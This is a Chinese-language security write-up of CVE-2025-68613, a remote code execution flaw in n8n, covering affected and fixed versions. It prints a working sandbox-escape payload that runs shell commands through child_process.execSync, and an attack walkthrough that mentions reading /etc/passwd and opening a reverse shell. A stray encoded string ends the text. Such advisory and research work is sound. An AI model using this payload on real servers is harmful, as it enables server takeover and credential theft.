CVE-2025-68613:n8n关键远程代码执行漏洞深度分析

53 阅读4分钟

CVE-2025-68613:n8n关键远程代码执行漏洞深度分析

项目描述

本仓库专注于技术记录和分析CVE-2025-68613,这是一个影响n8n工作流自动化平台的关键远程代码执行(RCE)漏洞,其CVSS评分为9.9。该漏洞源于n8n在特定版本中未能对JavaScript表达式进行适当的沙箱隔离,使得拥有编辑权限的认证用户能够突破应用的预期行为,在服务器上执行任意代码。此漏洞的利用可能导致自动化平台及其背后服务器的完全沦陷。

功能特性

  • 漏洞深度剖析:详细解释了CVE-2025-68613的触发原理,即通过工作流中的JavaScript表达式执行逃逸沙箱。
  • 明确的影响范围:清晰列出了所有受影响的n8n版本范围(自0.211.0起至多个修复前的分支版本)。
  • 技术细节展示:提供了概念验证(PoC)利用代码,直观展示了如何通过process.mainModule.require调用系统模块执行命令。
  • 修复版本指南:指明了官方的安全修复版本(1.120.4, 1.121.1, 1.122.0),为系统管理员提供明确的升级目标。
  • 风险评估:阐述了漏洞被成功利用后可能造成的严重后果,包括数据泄露、凭证窃取以及对关联系统的间接访问。

安装指南

本项目为安全研究文档,无需安装。但若要复现或测试该漏洞,您需要一个处于受影响版本的n8n环境。

环境要求:

  • 一个运行n8n的服务器或本地环境。
  • n8n版本需满足:>= 0.211.0< 1.120.4, 或 < 1.121.1, 或 < 1.122.0
  • 一个在目标n8n实例中拥有工作流编辑权限的账户。

重要警告: 请仅在您拥有完全控制权的、隔离的测试环境中进行漏洞验证,严禁在未经授权的生产或他人系统上进行任何测试,此行为可能违法。

使用说明

本部分说明漏洞的利用原理。攻击者可以在n8n工作流的JavaScript代码节点中插入恶意表达式。

基础利用示例: 攻击者可以将类似以下的恶意JavaScript代码插入到工作流中:

{{ (function(){ return this.process.mainModule.require('child_process').execSync('your script or shell command').toString() })() }}

当此工作流被保存并执行时,execSync中的命令(your script or shell command)将会在运行n8n服务的服务器上以n8n进程的权限执行。

典型利用场景:

  1. 攻击者通过钓鱼或其他手段获取到一个拥有工作流编辑权限的n8n账户凭证。
  2. 登录n8n平台,创建或编辑一个工作流,在JavaScript代码节点中植入上述PoC代码,将命令替换为如cat /etc/passwdwhoami或反向Shell命令。
  3. 触发工作流执行,从而在底层服务器上实现远程代码执行,获取敏感信息或服务器控制权。

API/功能滥用: 漏洞本质上滥用了n8n对用户提供的JavaScript表达式进行求值的功能。在修复前,该求值环境未能有效隔离对Node.js核心模块(如child_process)的访问。

核心代码

以下是构成该漏洞利用核心的JavaScript代码及其注释。

// PoC 利用代码片段
// 此代码利用了n8n旧版本中JavaScript表达式沙箱的逃逸漏洞。
// 通过 `this.process.mainModule.require` 访问Node.js的主模块加载器,
// 从而绕过沙箱限制,直接调用系统模块。

{{ (function(){
   // 1. 通过‘this’访问全局上下文,定位到Node.js的‘process’对象。
   // 2. ‘process.mainModule.require’ 提供了从主模块(即应用入口)加载模块的能力,不受用户沙箱限制。
   // 3. 加载‘child_process’核心模块,该模块用于创建子进程。
   return this.process.mainModule.require('child_process')
          // 4. 调用‘execSync’方法同步执行操作系统命令。
          .execSync('your script or shell command')
          // 5. 将命令执行的结果(标准输出)转换为字符串,并返回给n8n工作流上下文。
          .toString()
})() }}
// 漏洞原理抽象代码(模拟n8n不安全表达式执行)
// 注意:此为概念性代码,用于说明漏洞发生点。

function evaluateUserExpression(userCode, context) {
    // 在易受攻击的版本中,n8n可能使用类似以下方式执行用户代码:
    try {
        // 危险操作:将用户提供的代码与一个可能暴露过多全局对象(如‘this’指向全局)的上下文合并。
        const fullCode = `with(sandboxContext) { ${userCode} }`;
        const func = new Function('sandboxContext', fullCode);
        // 此处传入的‘context’对象若与全局原型链关联不当,则用户可通过‘this’向上回溯。
        return func(context);
    } catch (error) {
        console.error('Expression evaluation failed:', error);
        return null;
    }
}

// 用户输入(恶意表达式)最终在这样一个隔离不足的环境中执行,导致了RCE。

6HFtX5dABrKlqXeO5PUv/xaY/ToHUAvnT27GY2zbbEXHNhBOy/ELLwjo3qbCulx5